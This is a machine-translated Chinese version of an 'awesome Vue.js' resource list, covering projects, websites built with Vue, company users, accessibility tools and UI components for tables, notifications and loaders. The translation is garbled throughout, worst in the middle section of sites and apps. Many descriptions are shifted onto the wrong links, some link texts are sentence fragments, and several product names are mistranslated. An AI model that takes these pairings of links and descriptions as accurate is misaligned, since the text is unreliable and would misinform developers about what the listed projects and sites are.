- [vuejs-extension-pack vscode](https://github.com/mubaidr/vuejs-extension-pack)- 扩展packf或vscode,具有用于Vue.js开发的流行VS代码扩展.
- [Wiki.js](https://github.com/Requarks/wiki)- 基于NodeJS,Git和Markdown构建的现代,轻量级和强大的wiki应用程序
- [Vue-PWA-讲话](https://github.com/aofdev/vue-pwa-speech)- 在Vue2 + Vuetify + Progressive Web App上使用Google Cloud Speech发表演讲
- [Vue语音串流](https://github.com/aofdev/vue-speech-streaming)- 执行流式语音识别可在Progressive Web App上使用Google Cloud Speech + socket.io实时生成语音到文本
- [我的动画列表](https://github.com/limichange/my-animation-list)- 一个轻松获取CSS动画代码的工具
- [Vue输入串流](https://github.com/aofdev/vue-input-streaming)- 使用Pusher的TextInput流实时和双向数据绑定广播
- [TidyTab](https://github.com/eggplanetio/tidytab)- 用于整理这些标签的Chrome扩展程序.
- [游隼-CMS](https://github.com/headwirecom/peregrine-cms)- 基于Vue.js和Apache Sling的头部可选CMS
- [从概念到诊所](https://github.com/concept-to-clinic/concept-to-clinic)- 使用Vue.js界面的肺癌预测项目
- [网格真棒](https://github.com/louisbourque/grid-awesome)- 使用css显示生成网格布局的样板css: grid;属性.
- [轻型Bootstrap仪表板](https://github.com/cristijora/vue-light-bootstrap-dashboard)- 为Vue制作的Creative Tim Light Bootstrap仪表板
- [Hubaga](https://github.com/picocodes/hubaga)- 面向开发人员和其他数字商店的免费轻量级WordPress电子商务插件.
- [Vue-的WebPack-buefy](https://github.com/ndro/vue-webpack-buefy)- Vue.js首发全功能Webpack和Buefy
- [海狸鼠](https://github.com/bkzl/coypu)- 类似文本编辑的每周计划
- [核心服务器](https://github.com/skyhark-projects/core-server)- 高度可扩展的VueJs框架,集成了API系统和多种高级功能.
- [不和谐,标志](https://github.com/NNTin/discord-logo)- 基于SVG的Vue.js动画不和谐徽标生成器. ([Github Page](https://nntin.github.io/discord-logo/))
- [节点Vue模板](https://github.com/mubaidr/node-vue-template)- 使用Node.js (API) 和Vue.js (SPA) 构建完整应用程序的初始模板,其中包含一些包含的包和配置,可帮助您快速启动开发.
- [Vue的店面](https://github.com/DivanteLtd/vue-storefront)- Vue.js店面 - 电子商务的PWA. 100%离线,平台无关,无头,支持Magento2.
- [fd-vue](https://github.com/freedomotic/fd-vue-webapp)- 物联网框架的Vue.js客户端
- [磷火](https://github.com/cheng-kang/wildfire)- 其他评论插件的替代品.
- [乘车收据](https://github.com/ridereceipts/ridereceipts)- 简单的自动化桌面应用程序,可从Uber和Lyft下载和整理您的税务发票.
- [Vue - 铬 - 扩展 - 样板](https://github.com/mubaidr/vue-chrome-extension-boilerplate)- 使用Vue.js和Webpack进行Chrome扩展的Boilerplate
- [TimeMark](https://github.com/MarsZone/TimeMark)- 可以记录您的时间的时间管理器,并将开发更多功能.
- [Laravel Enso](https://github.com/laravel-enso/enso)- SPA管理面板由Bulma,VueJS和Laravel构建,包装了许多开箱即用的功能.
- [代码说明](https://github.com/lauthieb/code-notes)- 为使用Electron&Vue.js构建的开发人员提供的简单代码段管理器.
- [Pomotroid](https://github.com/Splode/pomotroid)- 简单,视觉上令人愉悦和可定制的番茄钟计时器.
- [XMR Miner](https://github.com/bradoyler/xmr-miner)- 加密货币 (XMR) 挖掘应用程序,使用Vue.js构建并使用D3可视化
- [XMR论文](https://github.com/bradoyler/xmr-paper)- 使用Vue.js构建的Monero钱包发生器
- [JoyProxy](https://github.com/sh0cked/joy-proxy)- 用于处理代理设置的Chrome扩展程序
- [活动自动化](https://github.com/mubaidr/activity-automation)- 管理日常活动并及时获得报告.
- [jsettlers的Web](https://github.com/generateui/jsettlers-web)受欢迎的德国棋盘游戏,用于建立六角形,定居点,城市,道路和获得的资源
- [Tamiat CMS](https://github.com/tamiat/tamiat)- Tamiat是一款专注于前端的CMS,使用Vue.JS作为前端,并与Firebase集成后端功能.
- [vuegg](https://github.com/vuegg/vuegg)- vue GUI生成器: 一次创建模型和代码!它利用可视化编辑器利用页面,组件和样式的创建. 为您的下一个vuejs项目生成所有脚手架代码.
- [Podlove网络播放器](https://github.com/podlove/podlove-web-player)- 播客优化,基于HTML5的音频播放器,包括章节,成绩单和嵌入.
- [Leo Vue](https://github.com/kaleguy/leovue)- 使用开源Leo概述编辑器/ IDE创建具有嵌套菜单的Web应用程序,并在内容中支持Vue组件.
- [海宁](https://github.com/MisRob/Justine)- 使用Vue组件作为文档模板的可配置HTML文档生成器 (当前支持JSDoc)
- [的Deezer,Vue公司](https://sh0cked.github.io/deezer-vue/)- 使用Vue \\ Vuex构建的Deezer客户端
- [Vuep.run](https://vuep.run)- Vue的在线SFC编辑器
- [V·oogle](https://github.com/VeryWow/v-oogle)- Google.com,reVued
- [Pomidorus](https://github.com/tatyshev/pomidorus)ℴℴ番茄汤的时间追踪构建使用Vue和D3🍅
- [哈勃望远镜](https://hubble.js.org)-:望远镜:穿越GitHub明星的历史.
- [Vuepress](https://vuepress.vuejs.org/)- - - - - -简约Vue-powered静态网站生成器
- [Socialhome](https://github.com/jaywink/socialhome)ℴℴ联邦丰富的社交网络功能的概要文件构建器
- [GenVue](https://github.com/herbat73/GenVue)ℴℴhostable,web应用程序允许用户上传和分享私人机密文件中建立在Vue.
- [js,Vuetifyjs NetCore WebAPI全栈](https://github.com/BlackHole1/vue-array)在Vue -数组对象操作,操作数组对象在Vue用这个包来操作数组.
- [Vue可以监视数组中的变化](https://github.com/laqul/laqul)ℴℴ一个完整的应用程序与类星体starter kit框架,GraphQL后端使用OAUTH 2.0 API认证,重火力点准备,多语言能力等等.
- [Protovue](https://github.com/v1Labs/protovue)ℴℴ一个原型组件库,帮助设计人员和开发人员罢工支架一个抽象应用布局.
- [爱讲闲话的](https://github.com/raniesantos/chattier)ℴℴSPA社交网络建立Laravel 5.6,Vue.
- [js 2,布尔玛(Buefy组件+ Bulmaswatch主题). ](https://github.com/johndatserakis/chrome-ribbon-reminder)还使用JWT身份验证.
- [Faviator](https://www.faviator.xyz/)ℴℴ一个简单的简单的图标生成器.
- [Laravel家谱](https://github.com/laravel-genealogy/genealogy)-家谱/家谱管理系统使用Laravel 5.6,Vue.
- [js 2和各种组件. ](https://github.com/vladocar/Minimal-Notes)工作进展.
- [烤](https://github.com/serversideup/roastandbrew)应用程序用来帮助咖啡爱好者们找到他们的下一个学习Laravel + Vue.js时一杯咖啡.
- [全栈编辑](https://github.com/benweet/stackedit/)ℴℴ浏览器减价编辑器
- [印度枳博客模板](https://bael-theme.jake101.com/)ℴℴ一个静态生成博客模板,为后端使用Netlify CMS和Netlify主办.
- [野兽派的审美特性,模糊搜索,serverless邮件注册,等等. ](https://buefy-shop.now.sh/)样品店,开源的,由Nuxt,条纹,重火力点,布尔玛和Serverless功能.
- [sysmon](https://github.com/Lt0/sysmon)B/S模式的系统监控为Linux.
### 你可以远程看系统资源通过web浏览器的使用无处不在.
- [Wijmo](http://wijmo.com/products/wijmo-5/)ℴℴ与VueJS支持UI控件的集合.
- [整理笔记](http://www.collatenotes.com/)
- [Formester](https://www.formester.com/)ℴℴ形式,电子邮件营销自动化制造容易
- [ChatWoot](https://www.chatwoot.com/)ℴℴ在Facebook messenger Livechat和代理合作.
- [VueA](https://themeforest.net/item/vuejs-laravel-admin-template/20119122?ref=jyostna&utm_source=awesomevue)ℴℴVueJS管理模板有多个布局和laravel版本.
- [Teleo](https://www.teleo.co/?utm_source=AwesomeVue)ℴℴ团队collab-app在谈话间游刃有余ㄡ规划和做的事情
- [封面](http://cover.20theme.com)ℴℴ一个高质量的组件库建立在Vue.js
- [EducationLink](https://geteducation.link/?utm_source=AwesomeVue)- - - - - - CRM和教育代理和销售自动化学院.
- [务实的](https://themeforest.net/item/pragmatic-vuejs-admin-template/21775201?ref=Linko91&utm_source=awesomevue)用Vue -响应和可配置管理模板.
- [js和元素. ](https://www.useseat.com/)ℴℴ简单的和现代的团队沟通和协作解决方案.
- [Moonitor](https://moonitor.io/)ℴℴCryptocurrency追踪桌面.
- [Deskree](https://deskree.com/)ℴℴ在线协作平台,结合思想ㄡ任务和问题在一个地方.
### 应用程序/网站
- [Laravel火花](https://spark.laravel.com/)
- [副视频](https://video.vice.com/)
- [Formlets](https://www.formlets.com)
- [Laracasts](https://laracasts.com)
- [esa.io](https://esa.io/)
- [稀土掘金](http://gold.xitu.io)
- [布拉格机场](http://www.prague-airport.com/)
- [投资组合的网站](http://corentinbac.com/)
- [Laravist](https://laravist.com/)
- [Atiiv](https://atiiv.com)ℴℴ应用程序为了私人教练和他们的客户.
- [Statamic](https://statamic.com)
- [Embalses !](http://embalses.azurewebsites.net/)ℴℴ一个工具来报告水大坝水平使用美国地质调查局(U.S. Geological Survey)的数据库. TravelMap
- [旅行者ℴℴ一个简单的方法来创建一个博客基于地图. ](http://clem.travelmap.fr)适当的布衬衫建设者
- [-定制的球衣建设者. ](https://propercloth.com/design-a-shirt)CheckIt
- [Reddit的新闻](https://check-it.io)
- [ℴℴ浏览器扩展,显示从reddit通知和消息. ](https://github.com/Mati365/reddit-news)小自己通过卡通网络
- [小桃酱](https://www.powerpuffyourself.com/)
- [cloudradioo](https://app.xiaotaojiang.com/)
- [ℴℴWeb应用程序,随机从soundcloud排行榜前50名的歌曲](http://cloudradioo.com)vNotes
- [ℴℴ简单而美丽的记事本和Vue减价. ](https://halfeld.github.io/v-notes/#!/)js和本地存储API.
- [Dermail](http://www.openfunctioncomputers.com/#!/home)
- [ℴℴ在Vue写电子邮件客户端. ](https://github.com/zllovesuki/dermail-webmail)js Dermail,邮件系统写在node . js.
- [octimine](https://www.octimine.com/)ℴℴ专利搜索引擎.
- [德拉克斯](https://www.draxed.com/)ℴℴ一个基于web的MySQL和PostgreSQL数据浏览器和仪表板的经理.
- [Leapspotleap](http://www.leapspotleap.com)ℴℴ一个简单的方法来查找你附近的维基百科文章.
- [或者只是导航到一个地方,找到有趣的百科信息. ](http://xiangsongtao.com)响应web应用程序.
- [Jobinja](https://jobinja.ir)ℴℴ在伊朗工作委员会和职业平台操作.
- [滚蛋吧!莆田系](https://putianxi.github.io/)ℴℴ显示所有莆田医院信息
- [Jobi:招聘平台](https://www.jobi.tn/)
- [香料的房子](https://www.thespicehouse.com)ℴℴ电子商务网站高品质的香料.
- [购物车结帐,产品细节页面,搜索使用Vue建造. ](http://livestorm.co)结账是一个单页应用Vue & Vuex写的.
- [度量循环](https://metricloop.com)ℴℴ网站技术服务和解决方案.
- [霍尔顿](https://www.holden.com.au)
- [Global-Exam](https://global-exam.com)ℴℴ在线培训语言能力测试
- [SlugSurvival](https://github.com/zllovesuki/slugsurvival)- webapp,帮助学生更好的规划他们的课程(爱好项目,与UCSC的关系).
- [FreePoll.Online](https://www.freepoll.online)使用Vue -一群决策工具.
- [jsㄡvue-sortable语义UI和扎帕. ](https://github.com/ChangJoo-Park/gitrelease-app)-跟踪项目的新版本在mac github使用vue菜单条.
- [js和电子. ](https://12bay.vn)ℴℴ应用程序在线预订航班.
- [PLAYCODE.IO](https://playcode.io)ℴℴ操场上迅速前端实验.
- [空白无线电](http://thevoidrad.io)ℴℴ地下房子在线音乐电台.
- [Bitly的Vue](https://alpixel.github.io/bitly-vuejs)ℴℴ缩短url VueJS & Bitly的API.
- [Storyblok](https://www.storyblok.com)ℴℴ基于API /解耦CMS使用VueJS前端.
- [WizzAir](https://wizzair.com/)
- [搬到HTTPS](https://movingtohttps.com/)指导移动不同的平台/托管网站HTTPS
- [Booknshelf](https://booknshelf.com/)就不同的主题ℴℴ发现伟大的书和书架.
- [顶级HN](https://tophn.info/)ℴℴ一个实时显示黑客新闻头条新闻活动
- [用](http://www.euronews.com)用是一个多语种新闻媒体服务,总部位于法国里昂.
- [Roozameروزامه](http://www.roozame.com)ℴℴRoozame波斯智能媒体服务.
- [Koumoul](https://koumoul.com)
- [NinjaCalc](http://ninja-calc.mbedded.ninja)ℴℴ一套嵌入式工程相关的计算器,建成一个开源与vue.js单页面应用程序.
- [Vue. ](https://vuejsfeed.com/)js饲料Vuedo**[. ](https://github.com/Vuedo/vuedo)**蒜瓣
- [ℴℴVue2.0和豆瓣API的web应用程序开发](https://github.com/JasonBai007/suanban)猜对了
- [ℴℴ一个"猜单词的游戏ℴℴ用Vue/vuex vue-router(前端)和Laravel/MySQL(后端). ](https://kdcinfo.com/guessright/)代码是[开源在GitHub上](https://github.com/KDCinfo/guess-right)(尽管不是活文件,运行游戏kdcinfo).
- [抢](https://grap.io)ℴℴ商务沟通服务
- [简单的模拟](https://easy-mock.com)-[mmf-blog-vue2-ssr](https://github.com/lincenying/mmf-blog-vue2-ssr)博客建使用Vue 2.0,vue-router & vuex与服务器端呈现
- [JSON模式编辑器](https://json-schema-editor.tangramjs.com)ℴℴ与Vue JSON模式建立了一个直观的编辑.
- [js和重火力点. ](https://splode.github.io/trivia/)ℴℴ一个或多人琐事游戏以超过2000使用Vue构建独特的问题.
- [js和由开放琐事数据库. ](https://moonorganizer.com/calendar/)ℴℴ农历应用
- [Flash-Vue](https://flash-vue.com)ℴℴ"未来的抽认卡"让学习无处不在:火箭:
- [Kinderbesteck](https://www.kinderbesteck-gravur.de/)ℴℴ一个完整的在线商店水疗与Vue2.0 Vuex,Vue路由器
- [n2ex](https://github.com/OrangeXC/n2ex)vue ssr(社交)ℴℴ一个网站,使用v2ex API
- [权力的同义词典](https://www.powerthesaurus.org)ℴℴ一个众包在线词典
- [Chattanosy](https://chattanosy.com)ℴℴ一个新东西和地方社区动力数据库查塔努加TN.
- [PAIXIN](http://www.paixin.com/)ℴℴ一个真正的销售网站
- [CodeBottle](https://codebottle.io/)- - - - - -拖放片段到您的项目
- [1 xbet](https://1xbet.com)自2007年以来,博彩公司的操作
- [MyOwnTV](http://myowntv.org)ℴℴ一个用于创建互联网电视流媒体网站
- [CrowdCircus](https://crowdcircus.com)ℴℴ欧洲最大的集资"和crowdinvesting-aggregator
- [跟某人](https://talktosomeone.net)ℴℴ自由ㄡ匿名和保密在线文字聊天和陌生人世界各地.
- [轮子工厂](http://www.wheelsfactory.cn)ℴℴ一个ui组件和库共享网站
- [ابیاتنابپارسی](http://naaab.ir)ℴℴ波斯诗歌的集合
- [Ripplectron](https://github.com/devjin0617/ripplectron)-波纹(Blockchain硬币)钱包vue-electron桌面客户端
- [PingBreak](https://pingbreak.com)一个自由和简单的网站使用vuejs实时监控服务指示板
- [Todoist致敬](https://github.com/rohitpaulk/todoist-tribute/)ℴℴTodoist克隆,用Rails + Vue写的
- [JSON编辑器](https://json-editor.tangramjs.com)ℴℴ一个感知的JSON编辑器建立Vue2和重火力点.
- [Develteam](https://www.develteam.com)ℴℴ独立游戏开发者的社交网络.
- [Mixsii](https://www.mixsii.com)-免费视频聊天室网站为青少年,成年人,家庭,和朋友.
- [PipQuest](http://pipquest.gregorterrill.com)ℴℴ"复古"方式建在Vue的益智游戏
- [Matryx](https://matryx.ai/)ℴℴ一个分散的协作平台.
- [iPrevYouℴℴYouTube™的球员](https://chrome.google.com/webstore/detail/iprevyou-youtube-player/blijlgfnjhnhmnaldaiienmjggbjhbaa)ℴℴ一个chrome应用程序在桌面上观看youtube视频.
- [项目经理](https://itemmanager.uk)-应用程序转移项目的命运2游戏.
- [前端大师Vue入门](https://frontendmasters.com/courses/vue/)ℴℴ前端大师一整天
- [tr - 101](https://inverted3.gitlab.io/drum-machine/)ℴℴ一个鼓synth /音序器.
- [集市](https://bazaar.co)ℴℴ媒体分享平台.
- [WynnStats](https://maple3142.github.io/wynn/)ℴℴ一个非官方WynnCraft统计数据.
- [Vectr](https://vectr.com/new)ℴℴ一个免费矢量图形软件
- [大脑部分](https://github.com/dashersw/brain-bits)ℴℴP300在线拼写Emotiv耳机的机制
- [硬币仪表板](https://www.coin-dashboard.com)ℴℴ完全端cryptocurrency资产仪表板.
- [Habitica](https://habitica.com/)ℴℴ在线任务管理应用程序在一个角色扮演游戏的形式.
- [MadeWithVueJs](https://madewithvuejs.com/)ℴℴ项目由Vue的画廊.
- [js(也该网站本身使用Vue.js)](https://github.com/NeutroniumCore/CodeDependencyScanner/)ℴℴ一个c# dektop应用程序显示. net汇编代码依赖关系建立与Vue Neutronium D3.js.
- [千醚主页](https://thousandetherhomepage.com)ℴℴ百万主页想象成一个Ethereum DApp. 建立在Vue.
- [js和开源. ](https://letsenhance.io/)π.
- [团队ℴℴ网上发票和会计](https://pi.team)Vuethwallet
- [ℴℴ一个简单的应用程序生成与vuejs ethereum钱包. ](https://github.com/sc0vu/vuethwallet)Tipe
- [ℴℴ下一代api CMS. ](https://tipe.io)创建你的内容与强大的编辑工具,从任何地方访问它GraphQL或REST API. 停止让你CMS决定如何构建您的应用程序.
- [Vuethexplore](https://github.com/sc0Vu/vuethexplore)ℴℴ一个简单的应用探索ethereum vuejs区块链.
- [Fintechers](https://www.fintechers.io)ℴℴFintech集中工作.
- [Devjournal](https://www.devjournalapp.com)ℴℴ协作todo列表项目和想法.
- [Bubbleflat](https://bubbleflat.com)ℴℴ在线平台,帮助学生和年轻的专业人士发现他们完美的室友通过搜索的人有着相似的生活方式,利益,或学校. Laravel & Vuejs
- [电子商务网站,专门从事散叶茶. ](https://teaquinox.com/)波动
- [ℴℴmobile-friendliness测试网站速度,安全性和HTML5 doctype. ](https://blip.website)发现企业在位置和测试他们的集体网站,或者只是测试自己的URL.
- [ℴℴ太阳位置ㄡ高程ㄡ方位ㄡ黄道/赤道坐标和日出/日落时间(儒略日)计算和转换工具. ](https://sunpos.ru)网站程序使用纯JSㄡVuejs和i18n Vuejs本地化插件.
- [使用D3.js创建可视化. ](https://u3xyz.com)ℴℴ一个个人博客基于vue ssr.
- [27. ua](https://27.ua)ℴℴ提起网络超市
- [国际象棋的守护](http://vitomd.com/vue-chess-guardian/)ℴℴ回答象棋位置问题从自己的游戏.
- [21点休息](https://blackjackbreak.com)ℴℴ一个快速的21点游戏
- [机械](https://addons.mozilla.org/en-US/firefox/addon/mechmod/)Reddit mod Firefox,表面上下文数据的见解.
- [GameVix](https://www.gamevix.com/)ℴℴ交换你的使用与他人视频游戏光盘,麻烦免费的.
- [PWA与材料设计. ](https://app.vivifyscrum.com)ℴℴ敏捷项目管理团队交付应用程序.
- [可定制的Scrum和看板. ](https://9gag.com)ℴℴ流行的在线平台和社交媒体网站
- [CryptoVue](https://www.cryptovue.com/)ℴℴ实时cryptocurrency仪表板
- [厨房里的故事](https://kitchenstories.io)ℴℴ烹饪平台
- [MailRabbit](https://mailrabbit.io)ℴℴ创建ㄡA/B测试和监控事务性的邮件没有开发人员.
- [Vue资源精选](http://vue.awesometiny.com)ℴℴ高雅Vue组件列表ㄡ类别ㄡ内联演示展示和短暂的
- [Cronhub](https://cronhub.io)- - - - - -无痛Cron监控工具
- [wrkprty](https://wrkprty.com)ℴℴ弹出共同办公事件对于自由职业者来说,远程工作者和专业人士寻求走出办公室.
- [用爱](https://made-with-love.xyz/)ℴℴ周围的由爱❤️world,倡议是一个运动庆祝🎉,👑.促进📣和建立一个品牌
- [饲料科技news,设计灵感和趋势在💯来源包括Dribbble,ProductHunt,Behance,Techcrunch.](https://www.pathtoproduct.com)💝
- [V·oogle](http://v-oogle.com/)ℴℴrevue Google.com.
- [joke-project. ](https://broker-notes.com):)
- [SyncLounge](https://synclounge.tv)ℴℴSyncLounge工具同步丛内容跨多个玩家在多个位置.
- [HCE.it](https://www.hce.it/)ℴℴ一个意大利的网站机构,完全由Vue使用Laravel-based无头的CMS.
- [页面](https://www.pages.xyz/)ℴℴ网页设计灵感
- [苹果烈酒](https://scrumpy.io/)ℴℴ一个美丽的敏捷团队的项目管理工具
- [Spektrum](https://spektrummedia.com/)ℴℴSpektrum媒体机构的网站
- [SPK](https://www.spk.rocks/)的网站SPK的生态系统
- [IDDEF](https://www.iddef.org/)☪️联合协会的价值人类的网页,CMS,CRM和捐赠与Vue和所有电子商务页面的设计.
- [js,Vuex和纯JavaScript🙏](http://www.configapp.com/)ℴℴ一个简单的方法来管理您的配置文件
- [烤](https://roastandbrew.coffee/)应用程序用来帮助咖啡爱好者们找到他们的下一个学习Laravel + Vue.js时一杯咖啡.
- [自由竞](https://yangonbusreport.org)ℴℴ集中yb公共eComplaint管理系统.
- [(全SPA)](https://regexfiddler.com/)
- [Myanpwel](https://myanpwel.com)ℴℴ活动票务平台的网站.
- [CryptoArte](https://www.cryptoarte.io)ℴℴ一个Ethereum艺术收藏,加以标记,Dapp.
- [Muuviez](https://muuviez.com)ℴℴ看电影发现和跟踪网站和时尚的设计
- [那加虚拟](https://nagavirtual.com)ℴℴ那加虚拟是第一个独立的虚拟商品市场.
- [Scroll.in](https://scroll.in)ℴℴ滚动.
- [是一个独立的新闻ㄡ信息和娱乐. ](https://akunyi.com)ℴℴ慈善网站
- [Mark Ruffalo怎么办?](https://www.whatwouldmarkruffalodo.com/)ℴℴ激励网站基于故事,Mark Ruffalo成功之前失败了几百个试镜.
- [白兰地](https://getbrandy.io)ℴℴ品牌资产经理你的菜单栏.
- [罗斯特社区](https://forum.ruster.xyz/)ℴℴ铁锈fullstack社区论坛CN.
- [NBC体育](https://www.nbcsports.com/)ℴℴNBC体育是体育新闻网站.
- [在](https://www.with.in/)在虚拟现实ℴℴ非凡的故事.
### 互动体验
- [让-皮埃尔·莫林| 1700 LAPOSTE](http://1700laposte.com/jean-pierre-morin/)
- [Facebook的新鲜事](https://newsfeed.fb.com/)
- [YouTube AdBlitz 2016](https://adblitz.withyoutube.com/#!/advertisers)
- [Omnisense经验](http://omnisense.net)
- [路易Ansa网站(组合)](http://louisansa.com)
- [Djeco.com](http://www.djeco.com/en)
- [Tolks.io](https://tolks.io)
- [满足格雷厄姆](http://www.meetgraham.com.au)
- [NOIZE原始](http://noizeoriginal.com)
- [tr - 101 Synth鼓机](https://inverted3.gitlab.io/drum-machine)
- [引导4编辑器](http://www.itwonders-web.com/bootstrap4-editor/)
- [Subtletabℴℴ浏览器扩展](https://subtletab.com)
- [web-riimote](https://web-riimote.herokuapp.com)ℴℴ把你的智能手机变成一个3 d控制器([源代码](https://github.com/konaraddio/web-riimote))
### 企业使用
- 阿里巴巴
- 百度
- 新浪微博
- 小蜜
- Ele.me
- Optimizely
- Expedia的
- UCWeb的
- 线
- 任天堂
- 管理Celtra
- [塞恩斯伯里](https://sainsburys.jobs/)
- [AREX](https://arex.io/)
- DJI
- Octimine GmbH
- Hunliji
- [GitLab](https://about.gitlab.com/2016/10/20/why-we-chose-vue/)
- [Clemenger BBDO墨尔本](http://clemengerbbdo.com.au)
- [ZenMate](https://zenmate.com)
- [Codeship](https://blog.codeship.com/consider-vuejs-next-web-project/)
- [Storyblok](https://app.storyblok.com)
- [Monito](https://www.monito.com)- 建立用于国际汇款的Booking.com
- [Hypefactors](https://hypefactors.com)- 用于数据驱动的公关专业人员的软件
- 土砖
- IBM
- [Cotabox](https://cotabox.com.br)
### A11y
- [Vue A11y项目](https://github.com/vue-a11y)- Vue.js社区项目,旨在改善Web可访问性.
- [Vue跳跃到](https://github.com/vue-a11y/vue-skip-to)- 它可以帮助那些只使用键盘跳转到最重要的人.
- [Vue斧](https://github.com/vue-a11y/vue-axe)- Vue.js应用程序的辅助功能审核.
- [Vue,播音员](https://github.com/vue-a11y/vue-announcer)- Vue为屏幕阅读器宣布任何有用信息的简单方法.
- [eslint-插件-Vue-A11Y](https://github.com/maranran/eslint-plugin-vue-a11y)- 静态AST检查器,用于.vue中元素的可访问性规则
- [Vue对焦锁](https://github.com/theKashey/vue-focus-lock)- 这是一个陷阱!锁定焦点. A11y util用于确定焦点范围.
- [Vue-A11Y-日历](https://github.com/IBM/vue-a11y-calendar)- 无障碍,国际化的Vue日历.
# 组件和库
## UI组件
### 表
*表/数据网格*
- [vuetable-2](https://github.com/ratiw/vuetable-2)- 数据表简化.
- [Vue桌-2-](https://github.com/matfish2/vue-tables-2)- Vue.js 2个网格组件.
- [Vue,数据源](https://github.com/coderdiaz/vue-datasource)- 用于创建动态表的vue.js服务器端组件.
- [AG-网Vue](https://github.com/ceolter/ag-grid-vue)- 用于ag-Grid的Vue适配器.
- [Vue-数据表](https://github.com/njleonzhang/vue-data-tables)- Vue2.0 DataTables,基于element-ui.
- [vue-floatThead](https://github.com/tmlee/vue-floatThead)- 用于floatThead的Vue 2.0组件,一个浮动和粘性表头插件.
- [vuetiful-数据表](https://github.com/andrewcourtice/vuetiful/tree/master/src/components/datatable)- 具有排序,过滤,分页,分组和聚合的可数据化组件.
- [Vue,物质化,数据表](https://github.com/MicroDroid/vue-materialize-datatable)- Materialize CSS的VueJS数据表
- [Vue好表](https://github.com/xaksis/vue-good-table)- 易于使用的VueJS (2.x) 表插件,具有排序,列过滤,分页等功能.
- [Vue网](https://github.com/dzwillia/vue-grid)- Vue.js的灵活网格组件
- [vue-easytable](https://github.com/huangshuwei/vue-easytable)- 基于Vue2.x的强大的表组件
- [vue2-数据表组分](https://github.com/OneWayTech/vue2-datatable)- Vue.js 2.x的最佳数据表,从不糟透了
- [Vue-JS-网](https://github.com/euvl/vue-js-grid)- Vue.js 2.x响应式网格系统,具有平滑排序,拖放和重新排序
- [Vue-handsontable官方](https://github.com/handsontable/vue-handsontable-official)Handsontable电子表格组件的Vue.js包装器
- [Vue网](https://github.com/liqueflies/vue-grid)- Vue.js 2.x强大的flexbox网格系统,采用内联样式构建
- [Vue-数据tablee](https://github.com/VitorLuizC/vue-data-tablee)- 基于vue-good-table,一个简单漂亮的表组件
- [Vue滚动表](https://github.com/richardtallent/vue-scrolling-table)- 具有flexbox大小调整的简单表组件,滚动的表体 (水平和垂直) ,用于所有tr/th/td渲染的插槽.
- [EL-搜索表分页](https://github.com/zollero/el-search-table-pagination)- 将Element UI的Form,Table和Pagination组件组合在一起. 基于Vue 2.x. ([详情](https://mp.weixin.qq.com/s/r_OumEQB79lpEETThHA70g))
- [vue-crud-x](https://github.com/ais-one/vue-crud-x)- 使用Vuetify布局的可扩展crud组件,除了通常的页面,排序,过滤器之外,它还能够进行嵌套CRUD,自定义表单,过滤器,操作.
- [Vue数据表](https://github.com/laravel-enso/vuedatatable)- VueJS支持的数据表与Laravel服务器端加载和JSON模板设置
- [V2表](https://github.com/dwqs/v2-table)- 基于Vue 2.x的简单表组件.
- [Vue - 猎豹网](https://github.com/future-architect/cheetah-grid)- 在Vue.js的画布上工作的高性能网格引擎.
- [Vue表组分](http://vue-table-component.spatie.be/)- 直接指向Vue组件以显示表格.
- [@ lossendae/Vue表](https://lossendae.github.io/vue-table)- Vue.js 2.x的简单表组件,带有分页和可排序列.
- [EL-数据表](https://github.com/FEMessage/el-data-table)- 基于element-ui,轻松搞定
- [DevExtreme Vue Grid](https://devexpress.github.io/devextreme-reactive/vue/grid/)- 用于Bootstrap的基于插件的高性能Vue数据网格.
- [Vue的广告表树](https://github.com/arnedesmedt/vue-ads-table-tree)- vue Table组件,具有过滤,排序和分页功能. 行可以有子行,因此可以构建树结构. 它还支持异步调用以从后端加载行. 它是用css框架构建的[tailwindcss](https://tailwindcss.com/docs/what-is-tailwind/)
### 通知
*烤面包机/快餐栏 - 通过无模式临时小弹出窗口通知用户*
- [Vue的通知](https://github.com/se-panfilov/vue-notifications)- Vue.js不可知的非阻塞通知库.
- [Vue - 易烤面包](https://github.com/noru/vue-easy-toast)- vue/vue2的toast插件.
- [Vue,烤](https://github.com/shakee93/vue-toasted)- VueJS的Responsive Touch兼容Toast插件.
- [vue-notifikation](https://github.com/happyCoda/vue-notifikation)- Vue.js通知插件.
- [Vue通知](https://github.com/euvl/vue-notification)- 使用Vue.js 2+通知插件`Velocity`用于动画.
- [VS-通知](https://github.com/NxtChg/pieces/tree/master/js/vue/vs-notify)- 微小但功能强大的通知组件,没有依赖关系.
- [vue2-通知](https://github.com/websmurf/vue2-notify)- Vue.js 2+通知插件.
- [vue-notifyjs](https://github.com/cristijora/vue-notifyjs)- 极简主义,3kb的可通知插件
- [vueup](https://github.com/chryb/vueup)- Vue.js的简单,轻量和优雅的全局通知弹出窗口
- [vuex闪光](https://github.com/ahmed-dinar/vuex-flash)- Vuex 2.x中VueJS 2.x的Flash消息组件.
- [vue-snotify](https://github.com/artemsky/vue-snotify)- Vue.js 2通知中心
- [Vue-通知,我](https://github.com/PygmySlowLoris/vue-notify-me)- Vue的可堆叠通知警报
- [vue-noty](https://github.com/renoguyon/vuejs-noty)- Noty周围的Vue.js 2包装器
- [Vue通知书](https://github.com/nikitamarcius/vue-notice)- Vue.js 2使用本机API包装Noty.js
- [Vue快闪消息](https://github.com/keen-on-design/vue-flash-message)- 简单而灵活的通知插件
- [@ voerro/Vue的通知](https://github.com/keen-on-design/vue-flash-message)- 简单的Vue.js 2通知插件,支持HTML和样式.
- [Vue - 真棒的通知](https://github.com/f3oall/vue-awesome-notifications)- 具有高级异步支持的轻量级Vue.js通知库.
- [vue-izitoast](https://github.com/arthurvasconcelos/vue-izitoast)- IziToast周围的Vue.js 2包装器.
- [Vue-toastr -2-](https://github.com/saivarunk/vue-toastr-2)- 为Vue.js构建的简单Toast通知[toastr](https://github.com/CodeSeven/toastr)
- [Vue小吃](https://github.com/zerodois/vue-snack)- 基于Google Material的Snackbars Vue.JS插件.
- [Vue-M-消息](https://github.com/mengdu/m-message)- vue的消息插件.
### 装载机
*装载机/旋转器/进度条 - 让用户知道正在加载某些东西*
- [Vue径向正在进行](https://github.com/wyzant-dev/vue-radial-progress)- Vue.js的径向进度条组件.
- [Vue-简单微调](https://github.com/dzwillia/vue-simple-spinner)- 一个简单,灵活的Vue.js微调器
- [Vue,等待](https://github.com/f/vue-wait)- Vue/Vuex和Nuxt应用程序的复杂加载器管理.
- [Vue微调组分](https://sergeyloysha.github.io/vue-spinner-component/)- Vue.js可定制的轻量级微调器.
